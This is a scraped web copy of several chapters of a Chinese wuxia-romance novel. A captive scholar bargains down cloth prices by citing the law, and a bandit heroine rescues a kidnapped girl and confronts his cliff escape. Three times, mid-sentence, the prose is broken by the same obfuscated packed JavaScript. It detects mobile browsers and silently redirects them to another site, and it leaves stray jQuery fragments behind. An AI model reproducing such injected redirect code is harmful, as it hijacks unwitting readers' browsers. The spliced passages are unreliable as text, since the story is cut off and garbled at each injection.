孙掌柜是认得陶肃的,知道他是那个有钱员外爷家的管家,那群憨汉的领头,对早上戴帷帽来他店里的纪文焕也有印象。 见二人一起来,孙掌柜心头莫名一紧。 “哟,陶爷您怎么亲自来了?”他堆起笑迎上前,“早晨您要的布都备齐了,只等您派人来拉呢。” 陶肃没说话,只是侧身一步,将纪文焕让到前面。 纪文焕缓步上前,脸上没什么表情,目光平静地在店内扫了扫,最终落在孙掌柜脸上。 “孙掌柜,”他开口,声音清朗,“早晨那两位兄弟性子急,采买之事办得粗疏。这笔买卖的账,恐怕得重新算过。” 孙掌柜干笑两声:“公子说笑了,布匹银货两讫,早上的买卖那二位兄弟是已经点了头的,重新算的道理从何说起啊?” 纪文焕不急着驳他,转身步入店内,孙掌柜与陶肃紧随其后,只见他行至一摞靛蓝布匹前,捻起一角布边,对着门外透入的天光正细细看着。 “晨间议价时,掌柜说这是上等厚实布,作价四钱一匹,可对?” 孙掌柜见他举止斯文,心下稍定,只当是个来讲道理的账房,便又搬出那套说辞:“正是!公子明鉴,如今世道艰难,货运不易,小店也是迫不得已……” “经纬稀疏,内掺烂棉,染料劣质,水洗后必会褪色。”纪文焕截断他的话,指尖一松放开布匹,“这便是掌柜口中价值四钱的上等货?” 孙掌柜脸色一白。 “据《大翎律·户律·市廛》‘器用布绢不如法’条:‘凡造器用之物,不牢固、真实,及绢布之属纰薄、短狭而卖者,各笞五十,其物入官①。”纪文焕转身,目光如锥,“掌柜这布,恐怕不止‘纰薄’一罪吧?” 孙掌柜额角渗出冷汗。他没想到这年轻人不仅懂布,还张口就引律法!难道还想告官吗?! “公子!公子息怒!”孙掌柜连忙拱手,冷汗直流,“早上定有误会,应该是……是我店里的伙计拿错了批次。” “误会?”纪文焕打断他,声音不大,却不减威压,“那我不妨再提醒掌柜,去年秋贵店售予山寨的棉白细布,声称松江上品,实则掺了三成以上次棉,织造稀疏,下水即缩;前年所谓蜀中夏葛,实为劣葛混纺,透气不及真葛三成。这桩桩件件,孙掌柜莫非也要推给伙计,说是拿错了?” 他每说一句,孙掌柜的脸色就白一分。最初与这伙人交易时,他还不敢造次,后来察觉他们不识货,才渐渐胆大,以次充好成了常事。如今被人将旧账一桩桩抖落,他只觉腿脚发软。 纪文焕见他已经开始害怕,不等他辩驳,继续道:“我等亦是替贵人办事,只求一个长久省心。孙掌柜这般行事,不仅是欺我这些兄弟不识货,更是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966321|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断财路。若我愿意,此刻便可报官,告你奸商欺诈——到时你这铺子怕是不保,吞下去的银子也得原样吐出来。” 孙掌柜立刻求饶:“公子,公子别啊,过去是小的利欲熏心欺瞒各位贵客,但还请各位贵客高抬贵手,给小店一个将功赎罪的机会吧!” 纪文焕面色稍缓,语气却仍沉:“本当送官究办。但我家贵人素来仁厚,想来也不忍赶尽杀绝……” 他给的台阶孙掌柜自然要下,连忙道:“小人知道,公子请讲!只要孙某能做到必定在所不惜啊!” “我们要靛蓝粗布三十匹,棉白细布二十匹,赭石麻葛十五匹。”纪文焕报出数目,目光定定看他,“须是库中真正的上等货——经纬密实、染料纯正、织造均匀。价格么,”他略顿,“靛蓝布,每匹一钱八分;棉白布,二钱二分;麻葛布,一钱整。” “什么?!”孙掌柜失声惊叫,脸都扭曲了,“这不可能!这连本钱都不够!公子,您这是要我的命啊!您再行行好吧!” 这个价格,几乎是直接对半腰斩了,甚至比正常的进货成本还要低了! “本钱?”纪文焕眼中掠过一丝讥诮,“你以次充好、虚抬物价,欺瞒我家贵人这些年,若今日不是我点破,我们还要继续吃亏。这些年来你从中贪墨多少,自己心里没数么?只怕早已远超你口中‘本钱’。如今要你将功折罪,你倒喊起冤来?” 他向前半步,逼近孙掌柜,眼里的威慑也更多了一分:“当然,孙掌柜可以选择不卖。那么,我也不介意拿着这匹布,”他指了指那劣布,“连同往年账目的问题,去衙门说道说道。我闲得很,也不缺钱,有的是工夫陪你打官司。孙掌柜是生意人,不妨掂量掂量——是眼下按照我所说的价格卖我这批布更划算,还是要舍这铺家子,乃至……锒铛入狱更划算呢?” 这番话条理分明,软硬兼施。 孙掌柜听得双腿发软,后背瞬间被冷汗浸透。他再看向纪文焕,虽看不清这帷帽下面的面容,却意识到这少年见识广博、心思缜密,更熟读律法。若真对簿公堂,自己胜算渺茫。 陶肃在一旁听着,心中亦是震动。他早知这书生善辩,却未料到厉害至此,竟靠几句律法条文便将这奸商吓得魂不附体。这比动拳头,震慑力强了何止十倍。 孙掌柜脸色灰败,挣扎半晌,终是颓然道:“……就按公子说的价。我……我这就去库房取真正的上等货。” 他心知肚明,今日这哑巴亏是吃定了。比起被告上公堂,这已是最轻的代价。 掌柜备好货品,又特地请纪文焕查验。纪文焕虽知他不敢再作假,为防万一,仍细细看过才点头。 陶肃交钱时心中还很佩服,这价钱不仅比往年低,质量还远超过往年的布匹。不仅如此,那孙掌柜还多送了一些零头绸缎好大几包的缝衣针线。 纵使他不喜欢纪文焕,也不得不承认纪文焕却有几分本事。 走出布店,陶肃沉默良久,终于开口道:“……你还真是心机深沉。算准我不会杀你,也算准他会服软。” 纪文焕语气平淡:“这有何难。商人重利,更惧风险。当他发觉欺诈之险远大于所得,甚至可能倾家荡产时,自然会选最明智的路。” 陶肃深深看他一眼。 “其他采买,也按这个法子?” “大同小异。”纪文焕颔首,“药铺看药材成色、炮制;铁铺你应比我懂,听声音、观刃口;杂货辨质地、查工艺。他们既然敢抬价,无非是吃定山中人不辨优劣,或料定我等即便识破也不愿多生事端。我们只要大胆说出优劣,言明需求,再稍加以律法警告,主动权自然就在我们手上了。” 两人正行着,纪文焕的目光忽被街旁一家首饰铺子引了去。铺中一支银钗样式清简,在日光下泛着润泽。 陶肃看他停下,不解道:“怎么?” 纪文焕:“无事。陶兄且先往前,我稍后便来。” 说罢便往那铺子里去了。 接下来的采买,果如纪文焕所言。 他每到一处,便从容地在店里转一圈,犀利指出货品瑕疵,令对方理亏词穷,必要时搬出律法施压。这一趟采买,所购货物皆是价廉质优。 陶肃偶尔帮腔,遇有店家恼羞成怒、欲动粗时,他只按剑而立,目光冷扫,便足以镇住场面。 弟兄们搬运货物时无不惊奇,知道孟云松是哑巴,便自然地将功劳归于陶肃,纷纷夸赞。 若在平日,陶肃定觉痛快。可今日这些赞誉,字字句句都似在提醒他——真正的功臣,是身边这个他看不惯的书生。他心下别扭,脸色便也好看不起来。 夕阳西下,回山的车队满载而归,一路欢声笑语。 唯纪文焕望着渐沉的日头,无声叹了口气。 11. 第 11 章 孟云松想来早就醒了。一旦映月发现房中的人是孟云松,定会察觉今早出去的是纪文焕。 不过孟云松口不能言,映月一时半会儿也弄不清纪文焕究竟是跑了还是外出。待会儿只要避开映月,先回房换下这身行头,再随口诌个散步透气的说辞,大抵便能遮掩过去。 至于孟云松那边……纪文焕心中也已有了应对之策。 盘算虽好,却未料变故来得更快。纪文焕尚未踏入自己院落,便先撞见了脚步仓皇、神色不安的映月。 他心头一紧。 映月看见戴帷帽的“孟云松”,神色却无不同,急急迎上来:“孟公子,可算寻着您了!我家姑爷在房里躺了一整天,半点动静也无。我想进去瞧瞧,门却从里头锁了,这可如何是好?姑爷他该不会出什么事了吧?” 纪文焕险些脱口应声,孟云松竟还未出房门? 他生生忍住,只朝映月略一颔首,熟门熟路地往自己院落走去。到了院中,他先朝映月摆了摆手,又指指孟云松暂居的厢房,再指向院门。 映月立刻会意,连连点头:“那我先出去候着,劳烦您去看看姑爷。” 待她身影消失在院门外,纪文焕才快步走到房门前,屈指轻叩。 他下的药量,绝不致让人昏睡一天一夜。孟云松早该醒了,为何迟迟不出?纪文焕也想知道。 门内迟迟无声。纪文焕蹙眉,房门是他早上锁的,他自己则是翻窗而出。难道孟云松当真未醒? “孟云松,”他压低声音,“是我。” 里头霎时有了动静。脚步声由远及近,停在门后。 不多时,门开了。 满脸红疹的孟云松,与帷帽垂纱的“孟云松”,迎面相对。 孟云松喉间滚动,发出含糊的呜咽,似想说什么。 纪文焕却已经入了屋内,反手将门落锁,这才抬手摘下帷帽。 四目相对。孟云松睁大了眼。 纪文焕看着他:“你既醒了,怎么没出去?” 孟云松沉默片刻,在屋里望了望,走到桌边摊开纸笔,低头写了起来。 字不多,纪文焕一眼便看明白了——孟云松不知他为何下药、为何消失,又怕误了他的事,不敢声张,只在这儿等着他回来亲口解释。 纪文焕心口像被什么堵了一下:“你现在也瞧见了,我不瞒你,我是扮作你下了山。你就没想过我或许是要害你,或是想趁机逃走?” 孟云松提笔又写:为何? 纪文焕看着这样的他,心底那点欺瞒的心思忽然变得沉甸甸的,几乎要不忍再骗他。 可他还是不能在此刻吐露实情,他仍有脱身的想法,而孟云松毕竟是山寨的人。即便孟云松敬重他,也未必会相信他下山后不会报官引来祸患。再者,即便孟云松信了,甚至愿意助他逃离,事成之后,孟云松又该如何在崔执瑶面前自处?他不能将他牵扯进来。 这样一想,纪文焕仍选择了自己准备的那套说辞:“我的确没有害你的心思,是陶肃让我这样做的。他说年关将近,北境又不太平,山下商人漫天要价,我读过书、能说会道,便让我下山帮着压价。可瑶娘不喜我离山,此事便只能悄悄做。恰好你中了毒草,不便下山,他便出了这个主意——由我扮作你下山办事,你只需安稳睡上一觉即可。你若不信,可以去问他。” 陶肃既然答应他了,自然会帮他应下。 孟云松听罢,肩头明显松了下来,神情轻快许多,匆匆写下:还好。 纪文焕知道他想说的是“还好没误你的事”。 那股熟悉的、令人不适的憋闷感又涌上心头,甚至比先前更甚。 他有些不愿再面对这张写满信任的脸,侧过身去,声音淡了下来:“既已说明白,你便先回去吧。我需净面更衣。” 事情又过了几天,孟云松的嗓子和脸全好了,又照常来寻纪文焕读书。 纪文焕见到他也坦然几分,如往常般教他。 这日二人正对着书卷研读,孟云松忽地抬眼望向院外,轻呼一声:“是大小姐的信鸽!” 纪文焕循声望去,只见一只灰羽鸽子正收翅落在不远处檐角,脚上系着细小竹管。 纪文焕心头微动:“她平日传信,多是给谁?” 孟云松道:“多是陶老大。寨主近年已不大过问琐事,寨中诸务多是大小姐与陶老大商量着定。” 纪文焕不再言语,心下却不由思量:这一算,崔执瑶离寨已近半月,从前从未耽搁如此之久……莫非是遇上了什么麻烦? 他心中存了事,后续授课便有些心不在焉,不多时便寻了个由头,将孟云松早早打发了。 . 三日前。 崔执瑶一身夜行衣,蒙面隐在丛林高处一株老树的枝桠间,垂目望着下方行经的车队。这队伍人马不少,货物堆得满当,瞧着是支寻常商旅。可她混迹江湖多年,劫过的官私商队不计其数,只一眼便看出端倪——那些护卫虽作商贩打扮,行止间却透着一股训练有素的肃整,更像行伍中人。 她此番下山已经完成了雇主托付的事,本应该立刻回山寨,不多生枝节的好。可此刻,她的目光却钉在了队尾那几辆篷车上。 那儿的守卫对待车内之人语气粗蛮,看守也格外严密。 一阵山风吹起做后一辆车的车帘一角,崔执瑶终于看清最后那辆车内被绑着一个年轻女子,皆被捆住双手,口中塞着破布。 确认了她的位置,崔执瑶眼眸一眯,心下有了主意。 她迅速打量周遭地势:前方不远便是一处陡坡,坡下乱石嶙峋,溪涧横流。 探手入怀,取出几样随身物件:一小罐火油,一捆浸饱油脂的麻绳,还有三两个爆竹。她借林木掩蔽,悄无声息地绕至车队侧前方,估算着车速,将麻绳飞快系于两树之间,又以落叶稍作遮掩,绳上抹了层薄油。 接着,她把爆竹引信小心串联,埋于绳前落叶之下,引信另一端则搭上那涂了火油的麻绳。 布置停当,她藏身回树后,手中扣紧弹弓与石子。 马蹄与车轮声渐近。 车队碾过她预设的绳索区域,毫无所觉。直至末尾几辆 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林间爆鸣声声骇人,数匹惊马彻底失控,拽着车辆直往陡坡边缘冲去!车辕歪斜,一路碾着碎石朝坡下歪倒。 看着这混乱已经差不多了,崔执瑶自另一侧疾掠而出,直扑末尾篷车。此车靠后,所受冲击稍轻,车边护卫也已多半赶往前头救急。 她身形如电,仅剩的几名守卫还未来得及反应,她便已手起掌落,将其尽数击晕,随即一把掀开车帘。 车内少女看见她,瞳孔骤缩,被堵住的口中发出“呜呜”闷响,身子剧烈挣扎。 崔执瑶一语不发,探身将其抄起,负在肩上,少女极轻,她扛着倒是毫不费力。刚跃出车厢,便有一名护卫挥刀劈来! 崔执瑶拧身闪避,反手间一道寒光脱手——贴身匕首如电飞出,正中那人肩胛。 护卫惨叫着后退,却仍嘶声大喊:“有人劫车!刺客在此!” 这一声喊,顿时将前方一部分正对付蜂群与爆竹的护卫吸引过来,刀剑寒光立时围拢! 崔执瑶扫了一圈,对肩上少女低喝:“抱紧我!” 话落,崔执瑶已纵身迎上去和他们厮杀。她无意多纠缠,所以打法凌厉,只想速战速决。不过几个照面,已有三四名守卫倒地。 她心知不可恋战,在更多人合围而来之前,足尖猛地一点车辕,施展轻功,朝着另一侧林木更密、坡度更陡的崖坎飞掠而下。几个起落间,便借着重重树影与未散的混乱,消失得无影无踪。 只余身后一片气急败坏的吼叫: “人往那边跑了!”“追!快追!” 迟来的护卫们冲至崖边,却只见丛莽摇动,哪还有人踪? 良久,车队方勉强重整。 为首的是个年轻头领,策马至队尾,将一众守卫斥得抬不起头。正厉色间,一名护卫双手呈上一物: “大人,此乃那女匪行凶时留下的。” 年轻人接过。匕首上血迹未干,但刃身近柄处,两个清晰的刻字赫然在目: 归云。 12. 第 12 章 崔执瑶专门从偏僻难行的小路走,以防商队的人追上来。她不停歇地奔了一刻钟有余,确认身后没有人跟来的痕迹,才稍稍放下心,在一处山泉边将少女放下。 她抬手拉下面罩,先为少女取出塞口的布团,又利落地解开绳索。 松绑后,崔执瑶这才看清她的面容——少女生得极美,肌肤如雪,一双眸子水光潋滟。此刻惊魂未定,虽已脱险,身体仍瑟缩轻颤,泪痕未干,鬓发散乱,却另有一种楚楚堪怜的风致。 少女一时说不出话,低头瞥见手上沾着的血迹,先是一慌,随即意识到并非自己受伤,目光急急转向崔执瑶。 “女、女侠……你受伤了!”她声音发颤。 经她一提,崔执瑶才觉肩头传来隐约刺痛,侧目看去,那一片衣衫已被血洇湿。 她未多言,只转身走至泉边石上坐下,掀开衣襟查看伤口。所幸刀口不深,未伤筋骨。她撕下干净内衬,就着泉水清洗、包扎,动作干脆利落。 待处置妥当,见少女仍在低泣,崔执瑶沉默片刻,生硬地挤出句安慰: “你别哭了。” 这句话并没什么用。 她蹲下身,目光落在少女肿起的脚踝上,伸手轻按探查——还好,只是扭伤,未伤筋骨。 她语气放软些:“能说话么?” 少女抽噎着,断续道:“多、多谢女侠……救命之恩……” “你是哪里人?家住何处?怎会落入他们手中?” 少女深吸了几口气,竭力平复:“奴家名唤嘉音,是岳城……倚翠楼的姑娘。那日,有位贵人召奴家去宴上献艺,之后……便被掳了。” “你可知他们要带你去何处?” “不知……” “那我送你回岳城?” “不!”嘉音猛然抬头,眼中惧色未消,“女侠,奴家回去……也不过是重操旧业。经此一劫,奴家实在……实在不敢再做这营生了。” 崔执瑶默然片刻,又问:“可还有亲人在世?” 嘉音摇头,泪又滑下:“奴家自幼长在风尘,不知父母何人。” 原来是个苦命人。崔执瑶心里也有些不是滋味。 思忖半晌,她抬眼看向对方:“那你……可愿随我走?” 嘉音那双含泪的眸子倏然睁大,里头漾起一层光亮,似是溺水之人望见了浮木。 崔执瑶却把话说在前头:“我是个山匪,住在云平城外的寨子里。你若跟我走,从此便得住进山寨。只是一旦上了山,此生便再不能下山。你想清楚。” 嘉音怔了怔,目光垂下,落在自己扭伤的脚踝上,又掠过四周幽深的林木。寂静中,唯有山泉淙淙。 片刻,她再度抬头,眼中已多了几分坚决:“女侠于奴家有再生之恩,如今还愿收留,奴家……不知何以为报。”她轻轻颔首,声音虽低,却无犹豫,“奴家愿随女侠去。” 崔执瑶救下她,也不算是个巧合。 前几日她办妥雇主托付之事,投宿在一家客栈。那时,这支商队正与她同宿一店。 就在客栈院中,崔执瑶曾亲眼看见嘉音逃跑被抓回的一幕。少女被几个护卫粗暴地按住,绳索加身、被人拖拽,仓皇抬头时,目光恰好与楼上凭栏而立的她对上。 嘉音未曾想过,那一眼之后,崔执瑶竟真会为她涉险。 此后几日,崔执瑶带着她一路往山寨方向赶。起初戒备甚严,只敢在山野露宿;后来察觉商队并无追来的迹象,才放心带她投宿客栈。 故而即便发觉匕首遗失,崔执瑶也未太过忧心——商队既未追索,说明嘉音于他们并非特别重要的任务。刀上刻的“归云”二字,寻常人也也不会知道是什么意思。只要日后江湖不再相逢,大抵便无后患。 崔执瑶救下嘉音的地方已接近北境,返程云平城,足足走了六日有余。若只她一人,断不需这些时日,但嘉音体弱,脚程慢,途中多需休整,崔执瑶便一路迁就照应。 上山时,崔执瑶依寨中规矩为嘉音蒙了眼。领她去主寨见过崔温茂,禀明前后缘由。崔温茂听罢,也觉得怜惜,要为她安排住处。不料嘉音提出,想与崔执瑶同住。 崔温茂未应,只看向女儿。崔执瑶本想告诉她自己院中已有三人,再添难免拥挤,可见嘉音牵着她衣袖、眼里藏着小心期盼的模样,还是不忍心拒绝,点头应允了。 先遣人送嘉音回院安顿,崔执瑶却被崔温茂留了下来。 “为父早说过,如今世道不比以往,下山行事,若非雇主所托,勿要旁生枝节。”崔温茂语气沉缓。 “爹也见了,她身世孤苦,女儿怎能见死不救?”崔执瑶坦然道。 “救人是好事,爹也不是怪你,”崔温茂轻叹:“只是你这不过两月,已带回来两人。为父心里……总有些不踏实。” “二人的来历,女儿皆已托木娘细查过,并无不妥。”崔执瑶顿了顿,“爹不必过忧。” ——尤其你那位夫君。这话崔温茂未说出口。女儿性子倔强,爱憎鲜明,多说反倒易生争执。 他只得微微颔首:“但愿如此。” 二人又说了些此行琐务,忽听门外一声朗唤: “师妹!” 陶肃大步踏入,神色欣喜,伸手便往崔执瑶肩上一拍。 崔执瑶眉头一蹙,肩头微颤,下意识侧身格开他的手。 “你受伤了?”陶肃笑意一凝,“来信时为何不提?” 崔温茂亦看向她:“怎么回事?” “救人时不小心划了一道,不得事。”崔执瑶一语带过,无意多言。 崔温茂见她神色疲乏,也不再多问,只温声道:“既如此,便回去好生歇着罢。” 崔执瑶从主寨出来,先回院子看了看嘉音安顿得如何。映月已将堆放杂物的那间屋子收拾出来,一切妥当。她顺口问起纪文焕的去向,映月答是去了孟大娘那里。 许久未见,崔执瑶心里惦念得紧,待嘉音这边安置好,便去集市买了一包桂花糕,拎着油纸包径直往孟家去。 推开院门,却只见孟云松一人伏在石桌上习字。少年抬头见她,眼睛一亮:“大小姐,您回来啦?” “嗯,刚回。怕你们学乏了,带些吃的。”崔执瑶将点心搁在石桌上,目光扫过空荡的院子,“纪文焕呢?” 孟云松一愣:“先生今日没来啊,只留了课业让我自练。您……一回来就寻到这儿了?先生应当在家吧,您赶紧回去看看?” 崔执瑶怔住。映月从不对她说谎,孟云松神色亦不似作伪。 所以纪文焕是既不在院里,也不在孟家? 她脸色渐渐沉了下来。 孟云松察觉有异:“纪先生……不在么?” 崔执瑶无心应答,开始想着这山寨之中,除却教孟云松读书,他还能有何事可做?又还能去哪里? 越想越觉蹊跷。 她看向孟云松:“这几日,他可有何异常?” 孟云松蹙眉思索:“倒也没什么……只是先生近来布置的课业格外多,这算么?”见崔执瑶转身欲走,他又急忙补充,“而且如今我做课业时,先生总不在跟前,不知去了何处。只是每回回来,衣袖上常沾着灰土。” 他将纪文焕顶替他下山一事瞒了下来,陶老大与纪先生皆叮嘱过,此事不必让大小姐知晓。 崔执瑶道了声“多谢”,便快步出了院子。 望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966323|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她匆匆离去的背影,孟云松忽然想到:莫非……纪先生又顶了谁的名目下山去了? 她第一反应是折返院子确认纪文焕是否已经回去了,或许他们只是途中错过了。可匆匆经过那条熟悉的小径时,脚步却毫无征兆地顿住了。 一种说不清的直觉拽住了她。 目光警觉地扫向林深处,她走近细看,后山隐蔽入口的湿泥地上,赫然留着一枚新鲜的脚印。泥痕清晰,边缘尚未干涸,绝不超过半日。 崔执瑶心头疑云骤起,略一迟疑,还是闪身入了后山。 后山寂静无人,飞鸟走兽也没有异常。崔执瑶在林间盘桓许久,心中疑窦丛生:若是寻常人进山打猎,怎会一点动静都没有?难道人已经走了? 她心中疑虑未消,却也无头绪,行至山泉处正欲折返,目光却倏地定住—— 不远处一棵老树上,竟牢牢缚着两条粗绳。 她脸色倏变,疾步上前查看。绳索皆垂向崖下,在风中微微晃动。 崔执瑶浑身血液一冷。 有人在下头。 寨中绝不会有人私自下此崖。 崔执瑶眼中寒光如刃。 纪文焕…… 她正要转身往崖边去,却听得碎石滚落,一双沾满污泥的手缓缓扒上崖沿! 纪文焕正费力向上攀爬,未曾抬头,自然未看见她。待大半个身子艰难挪上平地,他才喘着气抬眼—— 四目相对。 崔执瑶就立在几步之外。山风猎猎,卷起她的衣袂,脸上没有怒意,没有质问,唯有一片沉静到骨髓里的冷。那眼神似淬冰的薄刃,一寸寸刮过纪文焕周身。 他竟真的敢!为着逃走,凭着这两根破绳,就敢下这稍失足便粉身碎骨的绝壁! 崔执瑶面若寒潭,心底却已怒火燎原。那火舌灼烧着理智,一个冰冷的声音在脑海响起:让他掉下去好了。教他尝尝自作聪明的下场。反正他一心想逃,不愿留在山寨——那便永远死在崖底好了! 她甚至真的探手,触向了腰间那柄短匕。 纪文焕从未见过这样的崔执瑶。静立如幽魂,却比任何怒容都更骇人。他浑身僵冷,脊背窜起一层寒栗,竟动弹不得。 下一瞬,崔执瑶动了。 纪文焕心头骤紧。 剑光出鞘,在她手中划过一道寒弧,直劈向其中一条绳索—— “唰!” 绳索应声而断! 见她斩断的并非自己腰间那条,纪文焕喉头一松,几乎要舒出口气。 可这口气尚未吐出,崔执瑶已朝他走来。 崖边无处可退。纪文焕半身悬空,仅靠双臂死死撑住地面,像是趴在地上。他此刻的模样可谓是狼狈不堪,纪文焕有一种那些所有想要隐藏的都暴露在崔执瑶眼中,一切挣扎都是徒劳的窒息感。 她一步步走近,看着他最不堪、最脆弱的模样。巨大的羞耻、溃败与恐惧将他吞没。 崔执瑶胸中怒潮奔涌,心口像被什么狠攥了一把,痛得连呼吸都窒涩。 时间仿佛凝滞。 唯有山风在林间呼啸,夹杂着纪文焕压抑不住的、破碎的喘息。 崔执瑶在他身前站定,垂眸俯视,一言不发。 纪文焕觉得该说些什么。 他强压住喉头的颤栗,声音干涩地喊她的名字:“崔执瑶……” 话音未落—— “啊——!” 一声短促的惊叫撕破山谷的死寂。 崔执瑶倏地抬脚,照着他心口,狠狠踹下。 纪文焕瞳孔骤然扩散,手指徒劳地抓向虚空,整个人已如断线木偶,向后仰倒,直直坠向崖下浓白的雾气之中! 13. 第 13 章 纪文焕在树上绑了两根绳子:一根绳索用于攀援借力,另一根系在腰间以防万一。如今借力的那根已被斩断,仅剩腰间这根保命。 坠至丈余,腰间绳索猛地绷直!巨大的顿挫力勒得他五脏六腑几乎移位。但这远未结束——下坠的惯性与绳索的牵引使他如同摆锤,失控地朝岩壁猛撞而去! “砰!” 纪文焕的肩背结结实实撞上坚硬山石,剧痛传来。 “砰!” 再次撞上,侧肋遭重击,他听见自己骨头发出不堪重负的闷响。 “砰!” 第三下,额角擦过嶙峋的凸起,温热血迹不过片刻便冒了出来。 “呃啊!”纪文焕痛哼出声,脸色在撞击的瞬间惨白如纸,额前霎时沁出冷汗。 他紧闭双眼,在第三次撞上岩壁后,十指死死抠进石缝,指节因过度用力而泛白。剧痛与极致的恐惧令他浑身止不住地颤抖。脚下是万丈虚空,方才那几下撞击震得他头颅嗡鸣,连呼吸都窒涩困难。 完了…… 冰冷的绝望如潮水般朝纪文焕涌来。 崔执瑶……当真会要他的命吗? 正当他在绝壁上孤立无援、仓惶思忖脱身之计时,上方人影倏然一晃—— 崔执瑶竟沿着她亲手斩断的那根绳索下来了。她未将绳索系在身上,只单手紧握,另一头仍缚在崖顶树身。轻功施展间,她身形轻盈如燕,几个起落便荡至纪文焕身侧。 山风吹过,拂乱她鬓边碎发。那双眸子亮得骇人,里头烧着滔天怒焰,死死钉在他脸上。可纪文焕却在那片炽烈的怒火深处,窥见了一丝近乎恐惧的紧绷。 四目相对。 除崖风呼啸外寂静无声。 纪文焕粗重地喘着气,每一次呼吸都牵扯着伤处,疼得他眉峰紧蹙。 他声音因疼痛而微弱,断断续续道:“你现在……若真杀了我……才是……得不偿失……” 崔执瑶单手握绳,悬在他身侧。比起他的狼狈,她显得过分从容,那双眸子里泛着冷光,一刻也未从他脸上移开。 片刻,她低低笑了一声,那笑声里没什么温度:“你为了逃跑,连这万丈悬崖都敢攀,还怕我杀你吗?” 纪文焕缓慢闭上眼,眉头拧起,仿佛正在承受什么痛苦。单凭一根绳索悬在半空,早已耗尽他所有力气,连扯动嘴角都做不到,更无力争辩。何况事到如今,任何辩解都苍白得可笑。 风依旧刮着,他额角淌下的血漫过眉骨,渗进眼角。再睁眼时,视野一片模糊的猩红。 崔执瑶静静看了他片刻。 终于,她长吁出一口气,像是将某种翻涌的情绪强行压了下去。 不再看他,她伸手攥住了系在纪文焕腰间的那段绳索。足尖在岩壁上轻点数下,借断绳与轻功之力,几个起落纵跃,便将他从崖壁半空提了上去。 崔执瑶先落回崖顶平地。脚下踏实的瞬间,她猛地发力,将绳索向后一拽一甩——纪文焕便被那股力道带着凌空一掀,侧摔在地上。尘土扬起,他伏在地上呛咳两声,才勉强撑起身,摇摇晃晃站直,伸手去拢散乱的衣袍。 还未等他完全站稳,余光便见寒光一闪。 崔执瑶已拔出匕首,手起刀落。 “嚓嚓”两声利落脆响,崖边那两根绳索应声而断。 崔执瑶收匕回鞘,转身盯着他,眼底寒芒未退:“纪文焕,我确实小看了你。我知你一心要走,却万没料到,你竟敢打攀崖的主意——你当自己是什么绝世高手,还是觉得我次次都会替你收拾烂摊子?!” 最后几字,几乎是从齿缝间迸出来的低吼。 其实在将他踹下崖的刹那,她便后悔了。那一瞬理智回笼,心底竟掠过一丝后怕。 纪文焕抬手抹了把额角的血,闻言动作一顿,像是被她的话刺中,压抑许久的郁气与方才被迫至绝境的狼狈糅作一团,猛地窜上心头。 “收拾烂摊子?”他放下手,唇边浮起讥诮的笑,“崔执瑶,若不是你将我强掳上山,我又何须一次次谋划逃跑,把自己弄到这般田地?!新婚夜被陶肃逮住,五花大绑押到你爹面前——你觉得我给你惹事、丢你的脸;如今我攀这断崖你气我逃跑,恨不得一脚将我踹下深渊——是,你没真踹死我,可这一身伤难道拜你所赐还少了吗?!你觉得自己无辜么?这难道不是你逼我的吗?!” 崔执瑶被他这一连串劈头盖脸的质问砸得怔在原地。并非因他的指责,而是因他此刻眼中毫不掩饰的、几乎要喷薄而出的怨恨与愤怒。自相识以来,虽是她强求,但纪文焕大多时候都是隐忍顺受的,偶有,偶有讥刺,也不过是小打小闹。从未像此刻这般,如一只凶兽终于露出獠牙。 “我逼你?”她气息骤然乱了,向前逼近一步,“你是不是忘了,当初你是去逃命的!若非我将你带上山,你如今尸骨埋在何处都未可知!我是掳了你,可曾苛待过你半分?不是好吃好喝供着你?你的要求我哪样没应?我对你还不够好?你还想怎样?!” 纪文焕听着她的话,脸上那抹讽刺笑意却越来越深,那笑里带着无尽的疲惫和一种近乎残忍的清醒。 “所以呢?”他声音嘶哑,“我是不是还该跪下来叩谢大小姐的恩德?谢你把我掳来,谢你夺我自由,谢你要我认命——这辈子就困死在这山上?” 他直视着她怒火翻涌的眼睛,一字一句,十分清晰:“是,当日若无你,我可能已成剑下亡魂。这份恩情,我记着。可是报恩不是只有这一种方式,我不愿意像件物品一样被掳来,不愿意莫名其妙跟一个我不喜欢的人绑在一起。你若早说救我一命的代价,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966324|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赔上一生的自由……那我宁愿你当初,从未救过我!” 